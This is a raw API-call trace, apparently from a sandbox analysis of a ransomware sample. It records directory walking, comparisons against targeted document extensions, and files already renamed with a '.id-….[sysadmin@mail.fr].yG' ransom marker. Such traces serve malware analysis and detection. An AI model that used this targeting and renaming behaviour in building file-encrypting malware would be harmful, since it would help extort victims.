	[0132.708] lstrlenW (lpString=".ppt") returned 4
	[0132.708] lstrcmpiW (lpString1=".ppt", lpString2="].yG") returned -1
	[0132.708] lstrlenW (lpString=".pptm") returned 5
	[0132.708] lstrcmpiW (lpString1=".pptm", lpString2="r].yG") returned -1
	[0132.708] lstrlenW (lpString=".pptx") returned 5
	[0132.708] lstrcmpiW (lpString1=".pptx", lpString2="r].yG") returned -1
	[0132.708] lstrlenW (lpString=".prn") returned 4
	[0132.708] lstrcmpiW (lpString1=".prn", lpString2="].yG") returned -1
	[0132.708] lstrlenW (lpString=".ps") returned 3
	[0132.708] lstrcmpiW (lpString1=".ps", lpString2=".yG") returned -1
	[0132.708] lstrlenW (lpString=".psb") returned 4
	[0132.708] lstrcmpiW (lpString1=".psb", lpString2="].yG") returned -1
	[0132.708] lstrlenW (lpString=".psd") returned 4
	[0132.708] lstrcmpiW (lpString1=".psd", lpString2="].yG") returned -1
	[0132.708] lstrlenW (lpString=".pst") returned 4
	[0132.709] lstrcmpiW (lpString1=".pst", lpString2="].yG") returned -1
	[0132.709] lstrlenW (lpString=".ptx") returned 4
	[0132.709] lstrcmpiW (lpString1=".ptx", lpString2="].yG") returned -1
	[0132.709] lstrlenW (lpString=".pub") returned 4
	[0132.709] lstrcmpiW (lpString1=".pub", lpString2="].yG") returned -1
	[0132.709] lstrlenW (lpString=".pwm") returned 4
	[0132.709] lstrcmpiW (lpString1=".pwm", lpString2="].yG") returned -1
	[0132.709] FindNextFileW (in: hFindFile=0x5dd540, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e232ed, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x97e232ed, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x97e95943, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x1894, dwReserved0=0x0, dwReserved1=0x0, cFileName="oobe_2017_09_07_03_08_57_737.log.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="OOBE_2~1.YG")) returned 1
	[0132.709] FindNextFileW (in: hFindFile=0x5dd540, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97dd6e55, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x97dd6e55, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x97f302be, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x140, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupCompleteResult.log.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="PARTNE~1.YG")) returned 1
	[0132.709] FindNextFileW (in: hFindFile=0x5dd540, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97dd6e55, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x97dd6e55, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x97f302be, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x140, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupCompleteResult.log.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="PARTNE~1.YG")) returned 0
	[0132.709] FindClose (in: hFindFile=0x5dd540 | out: hFindFile=0x5dd540) returned 1
	[0132.710] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x38c0e18 | out: hHeap=0x4f0000) returned 1
	[0132.710] FindNextFileW (in: hFindFile=0x508de0, lpFindFileData=0x2fbfa7c | out: lpFindFileData=0x2fbfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x97db0c40, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x97db0c40, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SafeOS", cAlternateFileName="")) returned 1
	[0132.710] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x38c0e18
	[0132.710] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\SafeOS\\*", lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x97db0c40, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x97db0c40, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd3c0
	[0133.162] FindNextFileW (in: hFindFile=0x5dd3c0, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x97db0c40, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x97db0c40, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0133.162] FindNextFileW (in: hFindFile=0x5dd3c0, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x983b6839, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x983b6839, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98402cea, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x233c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetCurrentOOBE.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="GETCUR~2.YG")) returned 1
	[0133.162] FindNextFileW (in: hFindFile=0x5dd3c0, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97db0c40, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x97db0c40, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x97db0c40, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetCurrentRollback.ini.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="GETCUR~1.YG")) returned 1
	[0133.162] FindNextFileW (in: hFindFile=0x5dd3c0, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x983b6839, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x983b6839, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x984c1825, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x354, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupComplete.cmd.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="PARTNE~1.YG")) returned 1
	[0133.163] FindNextFileW (in: hFindFile=0x5dd3c0, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98428f1b, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x98428f1b, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x984753fa, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x13a, dwReserved0=0x0, dwReserved1=0x0, cFileName="preoobe.cmd.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="PREOOB~1.YG")) returned 1
	[0133.163] FindNextFileW (in: hFindFile=0x5dd3c0, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9849b7fc, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x9849b7fc, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x984c1825, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x236, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupComplete.cmd.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPC~1.YG")) returned 1
	[0133.163] FindNextFileW (in: hFindFile=0x5dd3c0, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9849b7fc, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x9849b7fc, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x984c1825, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x236, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupComplete.cmd.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPC~1.YG")) returned 0
	[0133.163] FindClose (in: hFindFile=0x5dd3c0 | out: hFindFile=0x5dd3c0) returned 1
	[0133.164] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x38c0e18 | out: hHeap=0x4f0000) returned 1
	[0133.164] FindNextFileW (in: hFindFile=0x508de0, lpFindFileData=0x2fbfa7c | out: lpFindFileData=0x2fbfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x97db0c40, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x97db0c40, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SafeOS", cAlternateFileName="")) returned 0
	[0133.164] FindClose (in: hFindFile=0x508de0 | out: hFindFile=0x508de0) returned 1
	[0133.164] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x38a0e08 | out: hHeap=0x4f0000) returned 1
	[0133.165] FindNextFileW (in: hFindFile=0x509260, lpFindFileData=0x2fbfcf8 | out: lpFindFileData=0x2fbfcf8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x775f0000, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 1
	[0133.166] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x38a0e08
	[0133.166] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x2fbfa7c | out: lpFindFileData=0x2fbfa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x508de0
	[0133.166] FindNextFileW (in: hFindFile=0x508de0, lpFindFileData=0x2fbfa7c | out: lpFindFileData=0x2fbfa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1
	[0133.166] FindNextFileW (in: hFindFile=0x508de0, lpFindFileData=0x2fbfa7c | out: lpFindFileData=0x2fbfa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="S-1-5-18", cAlternateFileName="")) returned 1
	[0133.167] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x38c0e18
	[0133.167] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\*", lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x16, ftLastAccessTime.dwLowDateTime=0x2, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="\x88c0\x54\x08")) returned 0xffffffff
	[0133.169] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x38c0e18 | out: hHeap=0x4f0000) returned 1
	[0133.169] FindNextFileW (in: hFindFile=0x508de0, lpFindFileData=0x2fbfa7c | out: lpFindFileData=0x2fbfa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x2763d00c, ftLastAccessTime.dwHighDateTime=0x1d50842, ftLastWriteTime.dwLowDateTime=0x2763d00c, ftLastWriteTime.dwHighDateTime=0x1d50842, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 1
	[0133.169] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x38c0e18
	[0133.169] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\*", lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x2763d00c, ftLastAccessTime.dwHighDateTime=0x1d50842, ftLastWriteTime.dwLowDateTime=0x2763d00c, ftLastWriteTime.dwHighDateTime=0x1d50842, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd300
	[0133.169] FindNextFileW (in: hFindFile=0x5dd300, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x2763d00c, ftLastAccessTime.dwHighDateTime=0x1d50842, ftLastWriteTime.dwLowDateTime=0x2763d00c, ftLastWriteTime.dwHighDateTime=0x1d50842, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0133.169] FindNextFileW (in: hFindFile=0x5dd300, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2763d00c, ftCreationTime.dwHighDateTime=0x1d50842, ftLastAccessTime.dwLowDateTime=0x2763d00c, ftLastAccessTime.dwHighDateTime=0x1d50842, ftLastWriteTime.dwLowDateTime=0x2763d00c, ftLastWriteTime.dwHighDateTime=0x1d50842, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0133.169] FindNextFileW (in: hFindFile=0x5dd300, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x980af3dc, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x980af3dc, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x980b2dee, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="DESKTO~1.YG")) returned 1
	[0133.169] FindNextFileW (in: hFindFile=0x5dd300, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x980af3dc, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x980af3dc, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x980b2dee, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="DESKTO~1.YG")) returned 0
	[0133.169] FindClose (in: hFindFile=0x5dd300 | out: hFindFile=0x5dd300) returned 1
	[0133.170] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x38c0e18 | out: hHeap=0x4f0000) returned 1
	[0133.170] FindNextFileW (in: hFindFile=0x508de0, lpFindFileData=0x2fbfa7c | out: lpFindFileData=0x2fbfa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x2763d00c, ftLastAccessTime.dwHighDateTime=0x1d50842, ftLastWriteTime.dwLowDateTime=0x2763d00c, ftLastWriteTime.dwHighDateTime=0x1d50842, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 0
	[0133.170] FindClose (in: hFindFile=0x508de0 | out: hFindFile=0x508de0) returned 1
	[0133.170] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x38a0e08 | out: hHeap=0x4f0000) returned 1
	[0133.171] FindNextFileW (in: hFindFile=0x509260, lpFindFileData=0x2fbfcf8 | out: lpFindFileData=0x2fbfcf8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x85776261, ftCreationTime.dwHighDateTime=0x1d3276f, ftLastAccessTime.dwLowDateTime=0x85776261, ftLastAccessTime.dwHighDateTime=0x1d3276f, ftLastWriteTime.dwLowDateTime=0x85776261, ftLastWriteTime.dwHighDateTime=0x1d3276f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x775f0000, dwReserved1=0x0, cFileName="$WINRE_BACKUP_PARTITION.MARKER", cAlternateFileName="$WINRE~1.MAR")) returned 1
	[0133.171] FindNextFileW (in: hFindFile=0x509260, lpFindFileData=0x2fbfcf8 | out: lpFindFileData=0x2fbfcf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9b103a82, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x9b103a82, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x775f0000, dwReserved1=0x0, cFileName="588bce7c90097ed212", cAlternateFileName="588BCE~1")) returned 1
	[0133.171] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x38a0e08
	[0133.171] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\*", lpFindFileData=0x2fbfa7c | out: lpFindFileData=0x2fbfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9b103a82, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x9b103a82, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x508de0
	[0133.174] FindNextFileW (in: hFindFile=0x508de0, lpFindFileData=0x2fbfa7c | out: lpFindFileData=0x2fbfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9b103a82, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x9b103a82, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1
	[0133.175] FindNextFileW (in: hFindFile=0x508de0, lpFindFileData=0x2fbfa7c | out: lpFindFileData=0x2fbfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1025", cAlternateFileName="")) returned 1
	[0133.175] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x38c0e18
	[0133.175] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1025\\*", lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd2c0
	[0133.178] FindNextFileW (in: hFindFile=0x5dd2c0, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0133.178] FindNextFileW (in: hFindFile=0x5dd2c0, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x984753fa, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x984753fa, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x988edb1e, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x1e74, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="EULART~1.YG")) returned 1
	[0133.178] FindNextFileW (in: hFindFile=0x5dd2c0, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x98665226, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x98665226, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98913e73, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x122e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="LOCALI~1.YG")) returned 1
	[0133.178] FindNextFileW (in: hFindFile=0x5dd2c0, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9868b479, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x9868b479, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98939f78, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x4458, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 1
	[0133.178] FindNextFileW (in: hFindFile=0x5dd2c0, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9868b479, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x9868b479, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98939f78, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x4458, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 0
	[0133.178] FindClose (in: hFindFile=0x5dd2c0 | out: hFindFile=0x5dd2c0) returned 1
	[0133.179] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x38c0e18 | out: hHeap=0x4f0000) returned 1
	[0133.179] FindNextFileW (in: hFindFile=0x508de0, lpFindFileData=0x2fbfa7c | out: lpFindFileData=0x2fbfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1028", cAlternateFileName="")) returned 1
	[0133.179] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x38c0e18
	[0133.179] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1028\\*", lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dda00
	[0133.188] FindNextFileW (in: hFindFile=0x5dda00, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
